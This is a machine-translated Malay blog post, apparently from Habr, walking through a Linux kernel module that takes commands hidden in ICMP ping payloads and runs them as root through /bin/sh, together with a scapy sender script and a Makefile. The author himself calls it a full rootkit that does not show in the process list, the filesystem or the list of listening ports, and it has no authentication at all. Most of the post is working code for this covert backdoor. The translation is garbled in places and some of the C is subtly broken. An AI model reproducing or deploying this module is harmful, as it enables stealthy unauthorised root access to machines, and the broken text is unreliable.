Peluru nuklear di atas ICMP

Peluru nuklear di atas ICMP

TL; DR: Saya sedang menulis modul kernel yang akan membaca arahan daripada muatan ICMP dan melaksanakannya pada pelayan walaupun SSH anda ranap. Bagi yang paling tidak sabar, semua kod adalah github.

Awas! Pengaturcara C yang berpengalaman berisiko menangis darah! Saya mungkin salah dalam istilah, tetapi sebarang kritikan dialu-alukan. Jawatan ini bertujuan untuk mereka yang mempunyai idea yang sangat kasar tentang pengaturcaraan C dan ingin melihat bahagian dalam Linux.

Dalam komen pertama saya artikel disebutkan SoftEther VPN, yang boleh meniru beberapa protokol "biasa", khususnya HTTPS, ICMP dan juga DNS. Saya boleh bayangkan hanya yang pertama daripada mereka berfungsi, kerana saya sangat biasa dengan HTTP(S), dan saya terpaksa belajar terowong melalui ICMP dan DNS.

Peluru nuklear di atas ICMP

Ya, pada tahun 2020 saya mengetahui bahawa anda boleh memasukkan muatan sewenang-wenang ke dalam paket ICMP. Tetapi lebih baik lewat daripada tidak sama sekali! Dan kerana sesuatu boleh dilakukan mengenainya, maka ia perlu dilakukan. Oleh kerana dalam kehidupan seharian saya, saya paling kerap menggunakan baris arahan, termasuk melalui SSH, idea shell ICMP datang ke fikiran saya terlebih dahulu. Dan untuk memasang bingo perisai lembu yang lengkap, saya memutuskan untuk menulisnya sebagai modul Linux dalam bahasa yang saya hanya mempunyai idea kasar. Cangkang sedemikian tidak akan kelihatan dalam senarai proses, anda boleh memuatkannya ke dalam kernel dan ia tidak akan berada pada sistem fail, anda tidak akan melihat apa-apa yang mencurigakan dalam senarai port mendengar. Dari segi keupayaannya, ini adalah rootkit sepenuhnya, tetapi saya berharap untuk memperbaikinya dan menggunakannya sebagai shell of last resort apabila Load Average terlalu tinggi untuk log masuk melalui SSH dan melaksanakan sekurang-kurangnya echo i > /proc/sysrq-triggeruntuk memulihkan akses tanpa but semula.

Kami mengambil editor teks, kemahiran pengaturcaraan asas dalam Python dan C, Google dan maya yang anda tidak keberatan meletakkan di bawah pisau jika semuanya rosak (pilihan - VirtualBox/KVM/etc) tempatan dan mari pergi!

Pihak pelanggan

Nampaknya saya untuk bahagian pelanggan saya perlu menulis skrip dengan kira-kira 80 baris, tetapi ada orang baik yang melakukannya untuk saya semua kerja. Kod itu ternyata mudah tanpa diduga, sesuai dengan 10 baris penting:

import sys
from scapy.all import sr1, IP, ICMP

if len(sys.argv) < 3:
    print('Usage: {} IP "command"'.format(sys.argv[0]))
    exit(0)

p = sr1(IP(dst=sys.argv[1])/ICMP()/"run:{}".format(sys.argv[2]))
if p:
    p.show()

Skrip mengambil dua hujah, alamat dan muatan. Sebelum menghantar, muatan didahului dengan kunci run:, kami memerlukannya untuk mengecualikan pakej dengan muatan rawak.

Kernel memerlukan keistimewaan untuk membuat pakej, jadi skrip perlu dijalankan sebagai superuser. Jangan lupa untuk memberikan kebenaran pelaksanaan dan pasang scapy sendiri. Debian mempunyai pakej yang dipanggil python3-scapy. Sekarang anda boleh menyemak cara semuanya berfungsi.

Menjalankan dan mengeluarkan arahan
morq@laptop:~/icmpshell$ sudo ./send.py 45.11.26.232 "Hello, world!"
Begin emission:
.Finished sending 1 packets.
*
Received 2 packets, got 1 answers, remaining 0 packets
###[ IP ]###
version = 4
ihl = 5
tos = 0x0
len = 45
id = 17218
flags =
frag = 0
ttl = 58
proto = icmp
chksum = 0x3403
src = 45.11.26.232
dst = 192.168.0.240
options
###[ ICMP ]###
type = echo-reply
code = 0
chksum = 0xde03
id = 0x0
seq = 0x0
###[ Raw ]###
load = 'run:Hello, world!

Inilah yang kelihatan seperti dalam penghidu
morq@laptop:~/icmpshell$ sudo tshark -i wlp1s0 -O icmp -f "icmp and host 45.11.26.232"
Running as user "root" and group "root". This could be dangerous.
Capturing on 'wlp1s0'
Frame 1: 59 bytes on wire (472 bits), 59 bytes captured (472 bits) on interface wlp1s0, id 0
Internet Protocol Version 4, Src: 192.168.0.240, Dst: 45.11.26.232
Internet Control Message Protocol
Type: 8 (Echo (ping) request)
Code: 0
Checksum: 0xd603 [correct] [Checksum Status: Good] Identifier (BE): 0 (0x0000)
Identifier (LE): 0 (0x0000)
Sequence number (BE): 0 (0x0000)
Sequence number (LE): 0 (0x0000)
Data (17 bytes)

0000 72 75 6e 3a 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 run:Hello, world
0010 21 !
Data: 72756e3a48656c6c6f2c20776f726c6421
[Length: 17]

Frame 2: 59 bytes on wire (472 bits), 59 bytes captured (472 bits) on interface wlp1s0, id 0
Internet Protocol Version 4, Src: 45.11.26.232, Dst: 192.168.0.240
Internet Control Message Protocol
Type: 0 (Echo (ping) reply)
Code: 0
Checksum: 0xde03 [correct] [Checksum Status: Good] Identifier (BE): 0 (0x0000)
Identifier (LE): 0 (0x0000)
Sequence number (BE): 0 (0x0000)
Sequence number (LE): 0 (0x0000)
[Request frame: 1] [Response time: 19.094 ms] Data (17 bytes)

0000 72 75 6e 3a 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 run:Hello, world
0010 21 !
Data: 72756e3a48656c6c6f2c20776f726c6421
[Length: 17]

^C2 packets captured

Muatan dalam pakej tindak balas tidak berubah.

Modul kernel

Untuk membina mesin maya Debian, anda memerlukan sekurang-kurangnya make ΠΈ linux-headers-amd64, selebihnya akan datang dalam bentuk tanggungan. Saya tidak akan memberikan keseluruhan kod dalam artikel; anda boleh mengklonkannya pada Github.

Persediaan cangkuk

Sebagai permulaan, kita memerlukan dua fungsi untuk memuatkan modul dan memunggahnya. Fungsi untuk memunggah tidak diperlukan, tetapi kemudian rmmod ia tidak akan berfungsi; modul hanya akan dipunggah apabila dimatikan.

#include <linux/module.h>
#include <linux/netfilter_ipv4.h>

static struct nf_hook_ops nfho;

static int __init startup(void)
{
  nfho.hook = icmp_cmd_executor;
  nfho.hooknum = NF_INET_PRE_ROUTING;
  nfho.pf = PF_INET;
  nfho.priority = NF_IP_PRI_FIRST;
  nf_register_net_hook(&init_net, &nfho);
  return 0;
}

static void __exit cleanup(void)
{
  nf_unregister_net_hook(&init_net, &nfho);
}

MODULE_LICENSE("GPL");
module_init(startup);
module_exit(cleanup);

Apa yang berlaku di sini:

  1. Dua fail pengepala ditarik masuk untuk memanipulasi modul itu sendiri dan penapis bersih.
  2. Semua operasi melalui penapis bersih, anda boleh menetapkan cangkuk di dalamnya. Untuk melakukan ini, anda perlu mengisytiharkan struktur di mana cangkuk akan dikonfigurasikan. Perkara yang paling penting ialah menentukan fungsi yang akan dilaksanakan sebagai cangkuk: nfho.hook = icmp_cmd_executor; Saya akan sampai ke fungsi itu sendiri kemudian.
    Kemudian saya menetapkan masa pemprosesan untuk pakej: NF_INET_PRE_ROUTING menentukan untuk memproses pakej apabila ia mula-mula muncul dalam kernel. Boleh digunakan NF_INET_POST_ROUTING untuk memproses paket apabila ia keluar dari kernel.
    Saya menetapkan penapis kepada IPv4: nfho.pf = PF_INET;.
    Saya memberikan cangkuk saya keutamaan tertinggi: nfho.priority = NF_IP_PRI_FIRST;
    Dan saya mendaftarkan struktur data sebagai cangkuk sebenar: nf_register_net_hook(&init_net, &nfho);
  3. Fungsi terakhir menanggalkan cangkuk.
  4. Lesen ditunjukkan dengan jelas supaya penyusun tidak merungut.
  5. Fungsi module_init() ΠΈ module_exit() tetapkan fungsi lain untuk memulakan dan menamatkan modul.

Mendapatkan semula muatan

Sekarang kita perlu mengeluarkan muatan, ini ternyata menjadi tugas yang paling sukar. Kernel tidak mempunyai fungsi terbina dalam untuk bekerja dengan muatan; anda hanya boleh menghuraikan pengepala protokol peringkat lebih tinggi.

#include <linux/ip.h>
#include <linux/icmp.h>

#define MAX_CMD_LEN 1976

char cmd_string[MAX_CMD_LEN];

struct work_struct my_work;

DECLARE_WORK(my_work, work_handler);

static unsigned int icmp_cmd_executor(void *priv, struct sk_buff *skb, const struct nf_hook_state *state)
{
  struct iphdr *iph;
  struct icmphdr *icmph;

  unsigned char *user_data;
  unsigned char *tail;
  unsigned char *i;
  int j = 0;

  iph = ip_hdr(skb);
  icmph = icmp_hdr(skb);

  if (iph->protocol != IPPROTO_ICMP) {
    return NF_ACCEPT;
  }
  if (icmph->type != ICMP_ECHO) {
    return NF_ACCEPT;
  }

  user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph)));
  tail = skb_tail_pointer(skb);

  j = 0;
  for (i = user_data; i != tail; ++i) {
    char c = *(char *)i;

    cmd_string[j] = c;

    j++;

    if (c == '')
      break;

    if (j == MAX_CMD_LEN) {
      cmd_string[j] = '';
      break;
    }

  }

  if (strncmp(cmd_string, "run:", 4) != 0) {
    return NF_ACCEPT;
  } else {
    for (j = 0; j <= sizeof(cmd_string)/sizeof(cmd_string[0])-4; j++) {
      cmd_string[j] = cmd_string[j+4];
      if (cmd_string[j] == '')
	break;
    }
  }

  schedule_work(&my_work);

  return NF_ACCEPT;
}

Apa yang sedang berlaku:

  1. Saya terpaksa memasukkan fail pengepala tambahan, kali ini untuk memanipulasi pengepala IP dan ICMP.
  2. Saya menetapkan panjang baris maksimum: #define MAX_CMD_LEN 1976. Kenapa betul-betul begini? Kerana pengkompil mengadu mengenainya! Mereka telah mencadangkan kepada saya bahawa saya perlu memahami timbunan dan timbunan, suatu hari nanti saya pasti akan melakukan ini dan mungkin juga membetulkan kod itu. Saya segera menetapkan baris yang akan mengandungi arahan: char cmd_string[MAX_CMD_LEN];. Ia sepatutnya kelihatan dalam semua fungsi; Saya akan bercakap tentang ini dengan lebih terperinci dalam perenggan 9.
  3. Sekarang kita perlu memulakan (struct work_struct my_work;) struktur dan sambungkannya dengan fungsi lain (DECLARE_WORK(my_work, work_handler);). Saya juga akan bercakap tentang mengapa ini perlu dalam perenggan kesembilan.
  4. Sekarang saya mengisytiharkan fungsi, yang akan menjadi cangkuk. Jenis dan argumen yang diterima ditentukan oleh netfilter, kami hanya berminat skb. Ini ialah penimbal soket, struktur data asas yang mengandungi semua maklumat yang tersedia tentang paket.
  5. Untuk fungsi berfungsi, anda memerlukan dua struktur dan beberapa pembolehubah, termasuk dua iterator.
      struct iphdr *iph;
      struct icmphdr *icmph;
    
      unsigned char *user_data;
      unsigned char *tail;
      unsigned char *i;
      int j = 0;
  6. Kita boleh mulakan dengan logik. Untuk modul berfungsi, tiada paket selain ICMP Echo diperlukan, jadi kami menghuraikan penimbal menggunakan fungsi terbina dalam dan membuang semua paket bukan ICMP dan bukan Echo. Kembali NF_ACCEPT bermakna penerimaan pakej, tetapi anda juga boleh menggugurkan pakej dengan kembali NF_DROP.
      iph = ip_hdr(skb);
      icmph = icmp_hdr(skb);
    
      if (iph->protocol != IPPROTO_ICMP) {
        return NF_ACCEPT;
      }
      if (icmph->type != ICMP_ECHO) {
        return NF_ACCEPT;
      }

    Saya belum menguji apa yang akan berlaku tanpa menyemak pengepala IP. Pengetahuan minimum saya tentang C memberitahu saya bahawa tanpa pemeriksaan tambahan, sesuatu yang mengerikan pasti akan berlaku. Saya akan gembira jika anda menghalang saya daripada ini!

  7. Memandangkan pakej adalah jenis yang tepat yang anda perlukan, anda boleh mengekstrak data. Tanpa fungsi terbina dalam, anda perlu mendapatkan penunjuk ke permulaan muatan. Ini dilakukan di satu tempat, anda perlu membawa penunjuk ke permulaan pengepala ICMP dan mengalihkannya ke saiz pengepala ini. Semuanya menggunakan struktur icmph: user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph)));
    Penghujung pengepala mesti sepadan dengan penghujung muatan masuk skb, oleh itu kami memperolehnya menggunakan cara nuklear daripada struktur yang sepadan: tail = skb_tail_pointer(skb);.

    Peluru nuklear di atas ICMP

    Gambar itu telah dicuri oleh itu, anda boleh membaca lebih lanjut tentang penimbal soket.

  8. Sebaik sahaja anda mempunyai penunjuk ke permulaan dan akhir, anda boleh menyalin data ke dalam rentetan cmd_string, semak untuk kehadiran awalan run: dan, sama ada buang pakej jika ia tiada, atau tulis semula baris itu sekali lagi, mengalih keluar awalan ini.
  9. Itu sahaja, kini anda boleh menghubungi pengendali lain: schedule_work(&my_work);. Memandangkan tidak mungkin untuk menghantar parameter kepada panggilan sedemikian, baris dengan arahan itu mestilah global. schedule_work() akan meletakkan fungsi yang dikaitkan dengan struktur yang diluluskan ke dalam baris gilir umum penjadual tugas dan lengkap, membolehkan anda tidak menunggu arahan selesai. Ini perlu kerana cangkuk mestilah sangat laju. Jika tidak, pilihan anda ialah tiada apa yang akan bermula atau anda akan mendapat panik kernel. Kelewatan adalah seperti kematian!
  10. Itu sahaja, anda boleh menerima pakej dengan pulangan yang sepadan.

Memanggil program dalam ruang pengguna

Fungsi ini adalah yang paling mudah difahami. Namanya diberikan dalam DECLARE_WORK(), jenis dan hujah yang diterima tidak menarik. Kami mengambil baris dengan arahan dan menyampaikannya sepenuhnya ke shell. Biarkan dia berurusan dengan penghuraian, mencari binari dan segala-galanya.

static void work_handler(struct work_struct * work)
{
  static char *argv[] = {"/bin/sh", "-c", cmd_string, NULL};
  static char *envp[] = {"PATH=/bin:/sbin", NULL};

  call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
}

  1. Tetapkan hujah kepada tatasusunan rentetan argv[]. Saya akan menganggap bahawa semua orang tahu bahawa program sebenarnya dilaksanakan dengan cara ini, dan bukan sebagai baris berterusan dengan ruang.
  2. Tetapkan pembolehubah persekitaran. Saya hanya memasukkan PATH dengan set laluan minimum, dengan harapan bahawa semuanya sudah digabungkan /bin с /usr/bin и /sbin с /usr/sbin. Laluan lain jarang penting dalam amalan.
  3. Selesai, mari buat! Fungsi kernel call_usermodehelper() menerima kemasukan. laluan ke binari, tatasusunan hujah, tatasusunan pembolehubah persekitaran. Di sini saya juga menganggap bahawa semua orang memahami maksud menghantar laluan ke fail boleh laku sebagai hujah yang berasingan, tetapi anda boleh bertanya. Argumen terakhir menentukan sama ada untuk menunggu proses selesai (UMH_WAIT_PROC), proses bermula (UMH_WAIT_EXEC) atau tidak menunggu sama sekali (UMH_NO_WAIT). Adakah ada lagi UMH_KILLABLE, saya tidak menelitinya.

Perhimpunan

Pemasangan modul kernel dilakukan melalui kerangka kerja kernel. Dipanggil make di dalam direktori khas yang terikat pada versi kernel (ditakrifkan di sini: KERNELDIR:=/lib/modules/$(shell uname -r)/build), dan lokasi modul diserahkan kepada pembolehubah M dalam hujah-hujah. Icmpshell.ko dan sasaran bersih menggunakan rangka kerja ini sepenuhnya. DALAM obj-m menunjukkan fail objek yang akan ditukar menjadi modul. Sintaks yang membuat semula main.o Π² icmpshell.o (icmpshell-objs = main.o) tidak kelihatan sangat logik kepada saya, tetapi begitu juga.

KERNELDIR:=/lib/modules/$(shell uname -r)/build

obj-m = icmpshell.o
icmpshell-objs = main.o

all: icmpshell.ko

icmpshell.ko: main.c
make -C $(KERNELDIR) M=$(PWD) modules

clean:
make -C $(KERNELDIR) M=$(PWD) clean

Kami mengumpul: make. Memuatkan: insmod icmpshell.ko. Selesai, anda boleh menyemak: sudo ./send.py 45.11.26.232 "date > /tmp/test". Jika anda mempunyai fail pada mesin anda /tmp/test dan ia mengandungi tarikh permintaan itu dihantar, yang bermaksud anda melakukan segala-galanya dengan betul dan saya melakukan semuanya dengan betul.

Kesimpulan

Pengalaman pertama saya dengan pembangunan nuklear adalah lebih mudah daripada yang saya jangkakan. Walaupun tanpa pengalaman membangun dalam C, memfokuskan pada pembayang pengkompil dan hasil Google, saya dapat menulis modul yang berfungsi dan berasa seperti penggodam kernel, dan pada masa yang sama seorang budak skrip. Di samping itu, saya pergi ke saluran Kernel Newbies, di mana saya diberitahu untuk menggunakannya schedule_work() bukannya menelefon call_usermodehelper() di dalam cangkuk itu sendiri dan memalukan dia, betul mengesyaki penipuan. Seratus baris kod memerlukan saya kira-kira seminggu pembangunan dalam masa lapang saya. Pengalaman yang berjaya yang memusnahkan mitos peribadi saya tentang kerumitan pembangunan sistem yang luar biasa.

Jika seseorang bersetuju untuk melakukan semakan kod pada Github, saya akan berterima kasih. Saya cukup pasti saya melakukan banyak kesilapan bodoh, terutamanya apabila bekerja dengan rentetan.

Peluru nuklear di atas ICMP

Sumber: www.habr.com

Tambah komen